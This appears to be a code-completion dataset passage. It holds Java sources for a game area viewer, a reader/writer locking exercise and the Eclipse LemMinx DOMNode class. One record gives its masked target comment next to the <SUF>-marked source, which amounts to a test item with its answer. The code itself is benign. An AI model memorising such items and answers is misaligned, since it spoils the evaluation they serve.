GL11.glBegin(GL11.GL_POLYGON);
GL11.glVertex2i(0, (area.getHeight() - 1) * Game.TILE_SIZE - Game.TILE_SIZE / 2);
GL11.glVertex2i(Game.config.getResolutionX(), (area.getHeight() - 1) * Game.TILE_SIZE - Game.TILE_SIZE / 2);
GL11.glVertex2i(Game.config.getResolutionX(), Game.config.getResolutionY());
GL11.glVertex2i(0, Game.config.getResolutionY());
GL11.glEnd();
// do a fade in if needed
if (fadeInTime != 0) {
long curTime = System.currentTimeMillis();
float fadeAlpha = Math.min(1.0f, 1.3f - (curTime - fadeInTime) / 1500.0f);
if (fadeAlpha > 0.0f) {
GL11.glColor4f(0.0f, 0.0f, 0.0f, fadeAlpha);
GL11.glBegin(GL11.GL_QUADS);
GL11.glVertex2i(getX(), getY());
GL11.glVertex2i(getX(), getBottom());
GL11.glVertex2i(getRight(), getBottom());
GL11.glVertex2i(getRight(), getY());
GL11.glEnd();
} else {
fadeInTime = 0;
}
}
GL11.glEnable(GL11.GL_TEXTURE_2D);
}
/**
* Performs any delayed scrolls or screen shakes that have been queued up
*
* @param curTime the current time in milliseconds
*/
public void update(long curTime)
{
performDelayedScrolling(curTime);
performScreenShake(curTime);
}
private void performScreenShake(long curTime)
{
if (screenShake == null) return;
if (curTime > screenShake.endTime) {
scroll(-screenShake.lastShakeX, -screenShake.lastShakeY, true);
screenShake = null;
} else
if (curTime > screenShake.lastTime + 110) {
screenShake.lastTime = curTime;
int newShakeX = -1 * ((int)Math.signum(screenShake.lastShakeX)) * Game.dice.rand(20, 35);
int newShakeY = Game.dice.rand(-2, 2);
scroll(newShakeX - screenShake.lastShakeX, newShakeY - screenShake.lastShakeY, true);
screenShake.lastShakeX = newShakeX;
screenShake.lastShakeY = newShakeY;
}
}
/**
* Performs the classic "screen shake" effect
*/
public void addScreenShake()
{
ScreenShake shake = new ScreenShake();
long curTime = System.currentTimeMillis();
shake.endTime = curTime + 600;
shake.lastTime = curTime;
shake.lastShakeX = 1;
this.screenShake = shake;
Game.interfaceLocker.add(new InterfaceLock(Game.curCampaign.party.getSelected(), 600));
}
/**
* Performs any gradual scrolling currently queued up for this AreaViewer
*
* @param curTime the current time in milliseconds
*/
private void performDelayedScrolling(long curTime)
{
if (delayedScroll == null) return;
long elapsedTime = curTime - delayedScroll.startTime;
float destx = delayedScroll.scrollXPerMilli * elapsedTime + delayedScroll.startScrollX;
float desty = delayedScroll.scrollYPerMilli * elapsedTime + delayedScroll.startScrollY;
scroll((int)(destx - scroll.x), (int)(desty - scroll.y), true);
if (delayedScroll.endTime < curTime) {
delayedScroll = null;
}
}
/**
* Adds a delayed scroll to the specified point using the DelayedScrollTime.
* After the scroll completes, the view will be centered on the specified point
*
* @param pScreen the point to scroll to
*/
public void addDelayedScrollToScreenPoint(Point pScreen)
{
this.delayedScroll = new DelayedScroll();
int destx = pScreen.x - this.getInnerWidth() / 2;
int desty = pScreen.y - this.getInnerHeight() / 2;
delayedScroll.startScrollX = scroll.x;
delayedScroll.startScrollY = scroll.y;
float x = destx - scroll.x;
float y = desty - scroll.y;
int totalTime = Game.config.getCombatDelay() * 2;
delayedScroll.scrollXPerMilli = x / totalTime;
delayedScroll.scrollYPerMilli = y / totalTime;
delayedScroll.startTime = System.currentTimeMillis();
delayedScroll.endTime = delayedScroll.startTime + totalTime;
}
/**
* Adds a delayed scroll to the specified creature using the DelayedScrollTime.
* After the scroll completes, the view will be centered on the specified creature
* in the same way as {@link #scrollToCreature(Entity)}
*
* @param creature the creature to scroll to
*/
public void addDelayedScrollToCreature(Entity creature)
{
addDelayedScrollToScreenPoint(creature.getLocation().getCenteredScreenPoint());
}
/**
* Scrolls the view of this area so that it is centered on the specified creature. If the
* creature is near the edges of the area and the view cannot center on the creature, the
* view is moved as close to centered as possible
*
* @param creature the entity to center the view on
*/
public void scrollToCreature(Entity creature)
{
Point pScreen = creature.getLocation().getCenteredScreenPoint();
int destx = pScreen.x - this.getInnerWidth() / 2;
int desty = pScreen.y - this.getInnerHeight() / 2;
// clear any delayed scroll
delayedScroll = null;
scroll(destx - scroll.x, desty - scroll.y);
}
@Override
protected void layout()
{
super.layout();
setMaxScroll();
// validate scroll position
scroll(0, 0);
}
/**
* Sets the maximum and minimum scroll for this AreaViewer based on the
* size of the underlying area. This method can be overriden to show a larger
* border area, useful for the editor.
*/
protected void setMaxScroll()
{
minScroll.x = Game.TILE_SIZE;
minScroll.y = Game.TILE_SIZE;
maxScroll.x = (area.getWidth() - 1) * Game.TILE_WIDTH - this.getInnerWidth();
maxScroll.y = area.getHeight() * Game.TILE_SIZE - Game.TILE_SIZE / 2 - this.getInnerHeight();
if (maxScroll.x < minScroll.x) maxScroll.x = minScroll.x;
if (maxScroll.y < minScroll.y) maxScroll.y = minScroll.y;
}
/**
* Returns the maximum scroll coordinates for this Widget
*
* @return the maximum scroll coordinates for this widget
*/
protected Point getMaxScroll()
{
return maxScroll;
}
/**
* Returns the minimum scroll coordinates for this Widget
*
* @return the minimum scroll coordinates for this widget
*/
protected Point getMinScroll()
{
return minScroll;
}
/**
* Returns the current x scroll coordinate
*
* @return the current x scroll coordinate
*/
public int getScrollX()
{
return scroll.x;
}
/**
* Returns the current y scroll coordinate
*
* @return the current y scroll coordinate
*/
public int getScrollY()
{
return scroll.y;
}
/**
* Scrolls the view of this AreaViewer by the specified amount, capped
* by the maximum and minimum scrolls. Also scrolls appropriate widgets
* such as overheadfadeaways
*
* @param x the x scroll amount
* @param y the y scroll amount
* @return the amount that was actually scrolled by. This can be closer
* to 0 than x or y if the scroll was capped by the max or min scrolls.
*/
public Point scroll(int x, int y)
{
return scroll(x, y, false);
}
private Point scroll(int x, int y, boolean delayedScroll)
{
// don't allow scrolling by other means when a delayed scroll is active
if (!delayedScroll && this.delayedScroll != null) {
return new Point();
}
int scrollXAmount, scrollYAmount;
scrollXAmount = Math.min(maxScroll.x - scroll.x, x);
scrollXAmount = Math.max(minScroll.x - scroll.x, scrollXAmount);
scrollYAmount = Math.min(maxScroll.y - scroll.y, y);
scrollYAmount = Math.max(minScroll.y - scroll.y, scrollYAmount);
scroll.x += scrollXAmount;
scroll.y += scrollYAmount;
if (Game.mainViewer != null) {
EntityMouseover mo = Game.mainViewer.getMouseOver();
int moX = mo.getX();
int moY = mo.getY();
mo.setPosition(moX - scrollXAmount, moY - scrollYAmount);
for (OverHeadFadeAway fadeAway : Game.mainViewer.getFadeAways()) {
fadeAway.scroll(scrollXAmount, scrollYAmount);
}
}
return new Point(scrollXAmount, scrollYAmount);
}
/**
* draws the visibility of the Area viewed by this AreaViewer
*
* @param visibility the visibility matrix to be drawn
*/
private void drawVisibility(boolean[][] visibility, AnimationState as, Point topLeft, Point bottomRight)
{
boolean[][] explored = area.getExplored();
for (int x = topLeft.x; x <= bottomRight.x; x++) {
for (int y = topLeft.y; y <= bottomRight.y; y++) {
Point screenPoint = AreaUtil.convertGridToScreen(x, y);
if (!explored[x][y]) {
hexFilledBlack.draw(as, screenPoint.x, screenPoint.y);
} else
if (!visibility[x][y]) {
hexFilledGrey.draw(as, screenPoint.x, screenPoint.y);
}
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
private void drawCreatureVisibility(Creature creature, AnimationState as, Point topLeft, Point bottomRight)
{
boolean[][] explored = area.getExplored();
for (int x = topLeft.x; x <= bottomRight.x; x++) {
for (int y = topLeft.y; y <= bottomRight.y; y++) {
Point screenPoint = AreaUtil.convertGridToScreen(x, y);
if (!explored[x][y]) {
hexFilledBlack.draw(as, screenPoint.x, screenPoint.y);
} else
if (!creature.hasVisibilityInCurrentArea(x, y)) {
hexFilledGrey.draw(as, screenPoint.x, screenPoint.y);
}
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
/**
* Draws all Area Transitions within the currently viewed Area
*/
@Override
public void drawTransitions()
{
GL11.glColor3f(1.0f, 1.0f, 1.0f);
for (String s : area.getTransitions()) {
Transition transition = Game.curCampaign.getAreaTransition(s);
if (!transition.isActivated()) continue;
Transition.EndPoint endPoint = transition.getEndPointInArea(area);
Point screen = AreaUtil.convertGridToScreen(endPoint.getX(), endPoint.getY());
transition.getIcon().draw(screen.x, screen.y);
}
}
public final void drawRedHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexRed.draw(as, screen.x, screen.y);
}
public final void drawWhiteHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexWhite.draw(as, screen.x, screen.y);
}
public final void drawGreenHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexGreen.draw(as, screen.x, screen.y);
}
public final void drawBlueHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexBlue.draw(as, screen.x, screen.y);
}
public final void drawGreyHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexGrey.draw(as, screen.x, screen.y);
}
public final void drawAnimHex(int gridX, int gridY, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridX, gridY);
hexAnim.draw(as, screen.x, screen.y);
}
public final void drawAnimHex(Point point, AnimationState as)
{
drawAnimHex(point.x, point.y, as);
}
@Override
protected boolean handleEvent(Event evt)
{
if (super.handleEvent(evt)) return true;
return areaListener.handleEvent(evt);
}
@Override
protected void applyTheme(ThemeInfo themeInfo)
{
super.applyTheme(themeInfo);
areaListener.setThemeInfo(themeInfo);
hexFilledBlack = themeInfo.getImage("hexfilledblack");
hexFilledGrey = themeInfo.getImage("hexfilledgrey");
hexWhite = themeInfo.getImage("hexwhite");
hexRed = themeInfo.getImage("hexred");
hexBlue = themeInfo.getImage("hexblue");
hexGreen = themeInfo.getImage("hexgreen");
hexGrey = themeInfo.getImage("hexgrey");
hexAnim = themeInfo.getImage("hexanim");
this.getAnimationState().setAnimationState(STATE_ACTIVE, true);
}
private class DelayedScroll
{
private int startScrollX;
private int startScrollY;
private float scrollXPerMilli;
private float scrollYPerMilli;
private long startTime, endTime;
}
private class ScreenShake
{
private long endTime;
private long lastTime;
private int lastShakeX, lastShakeY;
}
}
|
155812_5 | package labs.practice5;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
/**
* Class synchronize work of writer and readers.
*
* This class cooperate behavior of writer and readers.
* At first writer writes to buffer, after that readers should
* read from buffer. Every reader uses its own thread for reading.
*
* After every reader has read from buffer writer erase buffer
* and write again.
*
* This cycle repeats specified times in the constant
* field ITERATION_NMBER.
*
* @author Andrey Pyatakha
*
*/
public class Part52 {
/**
* Number of cycle repeats.
*/
private static final int ITERATION_NUMBER = 3;
/**
* Number of readers.
*/
private static final int READERS_NUMBER = 3;
/**
* Buffer to write and to read from.
*/
private static final StringBuilder BUFFER = new StringBuilder();
/**
* Buffer length.
*/
private static final int BUFFER_LENGTH = 5;
/**
* Speed parameter.
*/
private static final int PAUSE = 5;
/**
* Boolean flag of stop signal.
*/
private static boolean stop;
/**
* Shows amount of readers which haven't read from buffer yet.
* Reader counter.
*/
private static volatile int readersRead;
/**
* Lock object for synchronization of threads.
*/
private static Lock lock = new ReentrantLock();
/**
* Condition to observe the state of buffer: empty or not.
*/
private static Condition notEmpty = lock.newCondition();
/**
* Condition to observe the state of readers: hda they read
* already or not..
*/
private static Condition isRead = lock.newCondition();
/**
* Reader class which extends Thread and reads from buffer.
*
* Overrides run method and synchronized all readers between
* each others.
*
* @author Andrey Pyatakha
*
*/
private static class Reader extends Thread {
/**
* In while loop calls read() method from the synchronized block.
*
* Call of read() method is synchronized by Lock object
* so that it is impossible that two threads calls read at the same time.
*
* After each reading the field readersRead is increased by one.
* In case readersRead has the value as constant READERS_NUMBER
* calls signaAll() on notEmpty condition.
*
*/
@Override
public void run() {
while (!stop) {
try {
// read from the buffer
lock.lock();
read(getName());
if (++readersRead == READERS_NUMBER) {
notEmpty.signalAll();
}
isRead.await();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
lock.unlock();
}
} // while loop ends
}
}
/**
* Writer class which extends Thread and writes to the buffer.
*
* Overrides run method and synchronized all readers between
* each others.
*
* @author Andrey Pyatakha
*
*/
private static class Writer extends Thread {
/**
* In while loop calls write() method from the synchronized block.
*
* Call of write() method is synchronized by Lock object
* so that it is impossible that readers runs before writer has
* written to buffer.
*
*/
@Override
public void run() {
int tact = 0;
while (!stop) {
try {
lock.lock();
// write to the buffer
write();
readersRead = 0;
isRead.signalAll();
notEmpty.await();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
if (++tact == ITERATION_NUMBER) {
isRead.signalAll();
stop = true;
}
lock.unlock();
}
}
}
}
/**
* Reads from buffer char by char.
*
* Prints result to console.
* After work is done increased readersRead counter by one.
*
* @param threadName name of Thread which calls this method
* @throws InterruptedException in case of interruption of thread
*/
private static void read(String threadName) throws InterruptedException {
System.out.printf("Reader %s:", threadName);
for (int j = 0; j < BUFFER_LENGTH; j++) {
Thread.sleep(PAUSE);
System.out.print(BUFFER.charAt(j));
}
System.out.println();
Thread.sleep(5);
}
/**
* Writes to buffer char by char.
*
* At the beginning reset buffer length to zero.
* Writes chars to buffer randomly choosing letter from English alphabet.
*
* @param threadName name of Thread which calls this method
* @throws InterruptedException in case of interruption of thread
*/
private static void write() throws InterruptedException {
// clear buffer
BUFFER.setLength(0);
// write to buffer
System.err.print("Writer writes:");
Random random = new Random();
for (int j = 0; j < BUFFER_LENGTH; j++) {
Thread.sleep(PAUSE);
char ch = (char) ('A' + random.nextInt(26));
System.err.print(ch);
BUFFER.append(ch);
}
System.err.println();
Thread.sleep(5);
}
/**
* Enter point to Part51 application.
*
* Create and start readers threads.
*
* Create and starts writer thread.
*
* @param args input parameters.
* @throws InterruptedException in case of exception while sleeping.
*/
public static void main(String[] args) throws InterruptedException {
// create writer
Writer writer = new Writer();
// create readers
List<Thread> readers = new ArrayList<>();
for (int j = 0; j < READERS_NUMBER; j++) {
readers.add(new Reader());
}
// start writer
Thread.sleep(10);
writer.start();
// start readers
Thread.sleep(10);
for (Thread reader : readers) {
reader.start();
}
// main thread is waiting for the child threads
writer.join();
for (Thread reader : readers) {
reader.join();
}
}
} | AndriiPiatakha/lectures-java-core | src/labs/practice5/Part52.java | 1,928 | /**
* Speed parameter.
*/ | block_comment | nl | package labs.practice5;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
/**
* Class synchronize work of writer and readers.
*
* This class cooperate behavior of writer and readers.
* At first writer writes to buffer, after that readers should
* read from buffer. Every reader uses its own thread for reading.
*
* After every reader has read from buffer writer erase buffer
* and write again.
*
* This cycle repeats specified times in the constant
* field ITERATION_NMBER.
*
* @author Andrey Pyatakha
*
*/
public class Part52 {
/**
* Number of cycle repeats.
*/
private static final int ITERATION_NUMBER = 3;
/**
* Number of readers.
*/
private static final int READERS_NUMBER = 3;
/**
* Buffer to write and to read from.
*/
private static final StringBuilder BUFFER = new StringBuilder();
/**
* Buffer length.
*/
private static final int BUFFER_LENGTH = 5;
/**
* Speed parameter.
<SUF>*/
private static final int PAUSE = 5;
/**
* Boolean flag of stop signal.
*/
private static boolean stop;
/**
* Shows amount of readers which haven't read from buffer yet.
* Reader counter.
*/
private static volatile int readersRead;
/**
* Lock object for synchronization of threads.
*/
private static Lock lock = new ReentrantLock();
/**
* Condition to observe the state of buffer: empty or not.
*/
private static Condition notEmpty = lock.newCondition();
/**
* Condition to observe the state of readers: hda they read
* already or not..
*/
private static Condition isRead = lock.newCondition();
/**
* Reader class which extends Thread and reads from buffer.
*
* Overrides run method and synchronized all readers between
* each others.
*
* @author Andrey Pyatakha
*
*/
private static class Reader extends Thread {
/**
* In while loop calls read() method from the synchronized block.
*
* Call of read() method is synchronized by Lock object
* so that it is impossible that two threads calls read at the same time.
*
* After each reading the field readersRead is increased by one.
* In case readersRead has the value as constant READERS_NUMBER
* calls signaAll() on notEmpty condition.
*
*/
@Override
public void run() {
while (!stop) {
try {
// read from the buffer
lock.lock();
read(getName());
if (++readersRead == READERS_NUMBER) {
notEmpty.signalAll();
}
isRead.await();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
lock.unlock();
}
} // while loop ends
}
}
/**
* Writer class which extends Thread and writes to the buffer.
*
* Overrides run method and synchronized all readers between
* each others.
*
* @author Andrey Pyatakha
*
*/
private static class Writer extends Thread {
/**
* In while loop calls write() method from the synchronized block.
*
* Call of write() method is synchronized by Lock object
* so that it is impossible that readers runs before writer has
* written to buffer.
*
*/
@Override
public void run() {
int tact = 0;
while (!stop) {
try {
lock.lock();
// write to the buffer
write();
readersRead = 0;
isRead.signalAll();
notEmpty.await();
} catch (InterruptedException e) {
e.printStackTrace();
} finally {
if (++tact == ITERATION_NUMBER) {
isRead.signalAll();
stop = true;
}
lock.unlock();
}
}
}
}
/**
* Reads from buffer char by char.
*
* Prints result to console.
* After work is done increased readersRead counter by one.
*
* @param threadName name of Thread which calls this method
* @throws InterruptedException in case of interruption of thread
*/
private static void read(String threadName) throws InterruptedException {
System.out.printf("Reader %s:", threadName);
for (int j = 0; j < BUFFER_LENGTH; j++) {
Thread.sleep(PAUSE);
System.out.print(BUFFER.charAt(j));
}
System.out.println();
Thread.sleep(5);
}
/**
* Writes to buffer char by char.
*
* At the beginning reset buffer length to zero.
* Writes chars to buffer randomly choosing letter from English alphabet.
*
* @param threadName name of Thread which calls this method
* @throws InterruptedException in case of interruption of thread
*/
private static void write() throws InterruptedException {
// clear buffer
BUFFER.setLength(0);
// write to buffer
System.err.print("Writer writes:");
Random random = new Random();
for (int j = 0; j < BUFFER_LENGTH; j++) {
Thread.sleep(PAUSE);
char ch = (char) ('A' + random.nextInt(26));
System.err.print(ch);
BUFFER.append(ch);
}
System.err.println();
Thread.sleep(5);
}
/**
* Enter point to Part51 application.
*
* Create and start readers threads.
*
* Create and starts writer thread.
*
* @param args input parameters.
* @throws InterruptedException in case of exception while sleeping.
*/
public static void main(String[] args) throws InterruptedException {
// create writer
Writer writer = new Writer();
// create readers
List<Thread> readers = new ArrayList<>();
for (int j = 0; j < READERS_NUMBER; j++) {
readers.add(new Reader());
}
// start writer
Thread.sleep(10);
writer.start();
// start readers
Thread.sleep(10);
for (Thread reader : readers) {
reader.start();
}
// main thread is waiting for the child threads
writer.join();
for (Thread reader : readers) {
reader.join();
}
}
} |
27284_32 | /**
* Copyright (c) 2018 Angelo ZERR.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v2.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v20.html
*
* SPDX-License-Identifier: EPL-2.0
*
* Contributors:
* Angelo Zerr <angelo.zerr@gmail.com> - initial API and implementation
*/
package org.eclipse.lemminx.dom;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
import java.util.function.Function;
import org.w3c.dom.DOMException;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.w3c.dom.UserDataHandler;
/**
* DOM node.
*
*/
public abstract class DOMNode implements Node, DOMRange {
/**
* Null value used for offset.
*/
public static final int NULL_VALUE = -1;
/**
* The node is a <code>DTD Element Declaration</code>.
*/
public static final short DTD_ELEMENT_DECL_NODE = 101;
/**
* The node is a <code>DTD Attribute List</code>.
*/
public static final short DTD_ATT_LIST_NODE = 102;
/**
* The node is a <code>DTD Entity Declaraction</code>.
*/
public static final short DTD_ENTITY_DECL_NODE = 103;
/**
* The node is a <code>DTD Notation Declaraction</code>.
*/
public static final short DTD_NOTATION_DECL = 104;
/**
* The node is a generic <code>DTD Decl Node</code>.
*/
public static final short DTD_DECL_NODE = 105;
boolean closed = false;
private XMLNamedNodeMap<DOMAttr> attributeNodes;
private XMLNodeList<DOMNode> children;
final int start; // |<root> </root>
int end; // <root> </root>|
DOMNode parent;
private static final NodeList EMPTY_CHILDREN = new NodeList() {
@Override
public Node item(int index) {
return null;
}
@Override
public int getLength() {
return 0;
}
};
static class XMLNodeList<T extends DOMNode> extends ArrayList<T> implements NodeList {
private static final long serialVersionUID = 1L;
@Override
public int getLength() {
return super.size();
}
@Override
public DOMNode item(int index) {
return super.get(index);
}
}
static class XMLNamedNodeMap<T extends DOMNode> extends ArrayList<T> implements NamedNodeMap {
private static final long serialVersionUID = 1L;
@Override
public int getLength() {
return super.size();
}
@Override
public T getNamedItem(String name) {
for (T node : this) {
if (name.equals(node.getNodeName())) {
return node;
}
}
return null;
}
@Override
public T getNamedItemNS(String name, String arg1) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T item(int index) {
return super.get(index);
}
@Override
public T removeNamedItem(String arg0) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T removeNamedItemNS(String arg0, String arg1) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T setNamedItem(org.w3c.dom.Node arg0) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T setNamedItemNS(org.w3c.dom.Node arg0) throws DOMException {
throw new UnsupportedOperationException();
}
}
public DOMNode(int start, int end) {
this.start = start;
this.end = end;
this.closed = false;
}
/**
* Returns the owner document and null otherwise.
*
* @return the owner document and null otherwise.
*/
@Override
public DOMDocument getOwnerDocument() {
Node node = parent;
while (node != null) {
if (node.getNodeType() == Node.DOCUMENT_NODE) {
return (DOMDocument) node;
}
node = node.getParentNode();
}
return null;
}
@Override
public String toString() {
return toString(0);
}
private String toString(int indent) {
StringBuilder result = new StringBuilder("");
for (int i = 0; i < indent; i++) {
result.append("\t");
}
result.append("{start: ");
result.append(start);
result.append(", end: ");
result.append(end);
result.append(", name: ");
result.append(getNodeName());
result.append(", closed: ");
result.append(closed);
if (children != null && children.size() > 0) {
result.append(", \n");
for (int i = 0; i < indent + 1; i++) {
result.append("\t");
}
result.append("children:[");
for (int i = 0; i < children.size(); i++) {
DOMNode node = children.get(i);
result.append("\n");
result.append(node.toString(indent + 2));
if (i < children.size() - 1) {
result.append(",");
}
}
result.append("\n");
for (int i = 0; i < indent + 1; i++) {
result.append("\t");
}
result.append("]");
result.append("\n");
for (int i = 0; i < indent; i++) {
result.append("\t");
}
result.append("}");
} else {
result.append("}");
}
return result.toString();
}
/**
* Returns the node before
*/
public DOMNode findNodeBefore(int offset) {
List<DOMNode> children = getChildren();
int idx = findFirst(children, c -> offset <= c.start) - 1;
if (idx >= 0) {
DOMNode child = children.get(idx);
if (offset > child.start) {
if (offset < child.end) {
return child.findNodeBefore(offset);
}
DOMNode lastChild = child.getLastChild();
if (lastChild != null && lastChild.end == child.end) {
return child.findNodeBefore(offset);
}
return child;
}
}
return this;
}
public DOMNode findNodeAt(int offset) {
List<DOMNode> children = getChildren();
int idx = findFirst(children, c -> offset <= c.start) - 1;
if (idx >= 0) {
DOMNode child = children.get(idx);
if (isIncluded(child, offset)) {
return child.findNodeAt(offset);
}
}
return this;
}
/**
* Returns true if the node included the given offset and false otherwise.
*
* @param node
* @param offset
* @return true if the node included the given offset and false otherwise.
*/
public static boolean isIncluded(DOMRange node, int offset) {
if (node == null) {
return false;
}
return isIncluded(node.getStart(), node.getEnd(), offset);
}
public static boolean isIncluded(int start, int end, int offset) {
return offset >= start && offset <= end;
}
public DOMAttr findAttrAt(int offset) {
DOMNode node = findNodeAt(offset);
return findAttrAt(node, offset);
}
public static DOMAttr findAttrAt(DOMNode node, int offset) {
if (node != null && node.hasAttributes()) {
for (DOMAttr attr : node.getAttributeNodes()) {
if (attr.isIncluded(offset)) {
return attr;
}
}
}
return null;
}
public static DOMNode findNodeOrAttrAt(DOMDocument document, int offset) {
DOMNode node = document.findNodeAt(offset);
if (node != null) {
DOMAttr attr = findAttrAt(node, offset);
if (attr != null) {
return attr;
}
}
return node;
}
/**
* Takes a sorted array and a function p. The array is sorted in such a way that
* all elements where p(x) is false are located before all elements where p(x)
* is true.
*
* @returns the least x for which p(x) is true or array.length if no element
* full fills the given function.
*/
private static <T> int findFirst(List<T> array, Function<T, Boolean> p) {
int low = 0, high = array.size();
if (high == 0) {
return 0; // no children
}
while (low < high) {
int mid = (int) Math.floor((low + high) / 2);
if (p.apply(array.get(mid))) {
high = mid;
} else {
low = mid + 1;
}
}
return low;
}
public DOMAttr getAttributeNode(String name) {
return getAttributeNode(null, name);
}
/**
* Returns the attribute that matches the given name.
*
* If there is no namespace, set prefix to null.
*/
public DOMAttr getAttributeNode(String prefix, String suffix) {
StringBuilder sb = new StringBuilder();
if (prefix != null) {
sb.append(prefix);
sb.append(":");
}
sb.append(suffix);
String name = sb.toString();
if (!hasAttributes()) {
return null;
}
for (DOMAttr attr : attributeNodes) {
if (name.equals(attr.getName())) {
return attr;
}
}
return null;
}
public String getAttribute(String name) {
DOMAttr attr = getAttributeNode(name);
String value = attr != null ? attr.getValue() : null;
if (value == null) {
return null;
}
if (value.isEmpty()) {
return value;
}
// remove quote
char c = value.charAt(0);
if (c == '"' || c == '\'') {
if (value.charAt(value.length() - 1) == c) {
return value.substring(1, value.length() - 1);
}
return value.substring(1, value.length());
}
return value;
}
/**
* Returns the attribute at the given index, the order is how the attributes
* appear in the document.
*
* @param index Starting at 0, index of attribute you want
* @return
*/
public DOMAttr getAttributeAtIndex(int index) {
if (!hasAttributes()) {
return null;
}
if (index > attributeNodes.getLength() - 1) {
return null;
}
return attributeNodes.get(index);
}
public boolean hasAttribute(String name) {
return hasAttributes() && getAttributeNode(name) != null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#hasAttributes()
*/
@Override
public boolean hasAttributes() {
return attributeNodes != null && attributeNodes.size() != 0;
}
public void setAttribute(String name, String value) {
DOMAttr attr = getAttributeNode(name);
if (attr == null) {
attr = new DOMAttr(name, this);
setAttributeNode(attr);
}
attr.setValue(value);
}
public void setAttributeNode(DOMAttr attr) {
if (attributeNodes == null) {
attributeNodes = new XMLNamedNodeMap<>();
}
attributeNodes.add(attr);
}
public List<DOMAttr> getAttributeNodes() {
return attributeNodes;
}
/**
* Returns a list of children, each having an attribute called name, with a
* value of value
*
* @param name name of attribute
* @param value value of attribute
* @return list of children, each having a specified attribute name and value
*/
public List<DOMNode> getChildrenWithAttributeValue(String name, String value) {
List<DOMNode> result = new ArrayList<>();
for (DOMNode child : getChildren()) {
if (child.hasAttribute(name)) {
String attrValue = child.getAttribute(name);
if (Objects.equals(attrValue, value)) {
result.add(child);
}
}
}
return result;
}
/**
* Returns the node children.
*
* @return the node children.
*/
public List<DOMNode> getChildren() {
if (children == null) {
return Collections.emptyList();
}
return children;
}
/**
* Add node child and set child.parent to {@code this}
*
* @param child the node child to add.
*/
public void addChild(DOMNode child) {
child.parent = this;
if (children == null) {
children = new XMLNodeList<>();
}
getChildren().add(child);
}
/**
* Returns node child at the given index.
*
* @param index
* @return node child at the given index.
*/
public DOMNode getChild(int index) {
return getChildren().get(index);
}
public boolean isClosed() {
return closed;
}
public DOMElement getParentElement() {
DOMNode parent = getParentNode();
DOMDocument ownerDocument = getOwnerDocument();
while (parent != null && parent != ownerDocument) {
if (parent.isElement()) {
return (DOMElement) parent;
}
parent = parent.getParentNode();
}
return null;
}
public boolean isComment() {
return getNodeType() == DOMNode.COMMENT_NODE;
}
public boolean isProcessingInstruction() {
return (getNodeType() == DOMNode.PROCESSING_INSTRUCTION_NODE)
&& ((DOMProcessingInstruction) this).isProcessingInstruction();
}
public boolean isProlog() {
return (getNodeType() == DOMNode.PROCESSING_INSTRUCTION_NODE) && ((DOMProcessingInstruction) this).isProlog();
}
public boolean isCDATA() {
return getNodeType() == DOMNode.CDATA_SECTION_NODE;
}
public boolean isDoctype() {
return getNodeType() == DOMNode.DOCUMENT_TYPE_NODE;
}
public boolean isGenericDTDDecl() {
return getNodeType() == DOMNode.DTD_DECL_NODE;
}
public boolean isElement() {
return getNodeType() == DOMNode.ELEMENT_NODE;
}
public boolean isAttribute() {
return getNodeType() == DOMNode.ATTRIBUTE_NODE;
}
public boolean isText() {
return getNodeType() == DOMNode.TEXT_NODE;
}
public boolean isCharacterData() {
return isCDATA() || isText() || isProcessingInstruction() || isComment();
}
public boolean isDTDElementDecl() {
return getNodeType() == DOMNode.DTD_ELEMENT_DECL_NODE;
}
public boolean isDTDAttListDecl() {
return getNodeType() == DOMNode.DTD_ATT_LIST_NODE;
}
public boolean isDTDEntityDecl() {
return getNodeType() == Node.ENTITY_NODE;
}
public boolean isDTDNotationDecl() {
return getNodeType() == DOMNode.DTD_NOTATION_DECL;
}
public boolean isOwnerDocument() {
return getNodeType() == Node.DOCUMENT_NODE;
}
public boolean isChildOfOwnerDocument() {
if (parent == null) {
return false;
}
return parent.getNodeType() == Node.DOCUMENT_NODE;
}
@Override
public int getStart() {
return start;
}
@Override
public int getEnd() {
return end;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getLocalName()
*/
@Override
public String getLocalName() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getParentNode()
*/
@Override
public DOMNode getParentNode() {
return parent;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getFirstChild()
*/
@Override
public DOMNode getFirstChild() {
return this.children != null && children.size() > 0 ? this.children.get(0) : null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getLastChild()
*/
@Override
public DOMNode getLastChild() {
return this.children != null && this.children.size() > 0 ? this.children.get(this.children.size() - 1) : null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getAttributes()
*/
@Override
public NamedNodeMap getAttributes() {
return attributeNodes;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getChildNodes()
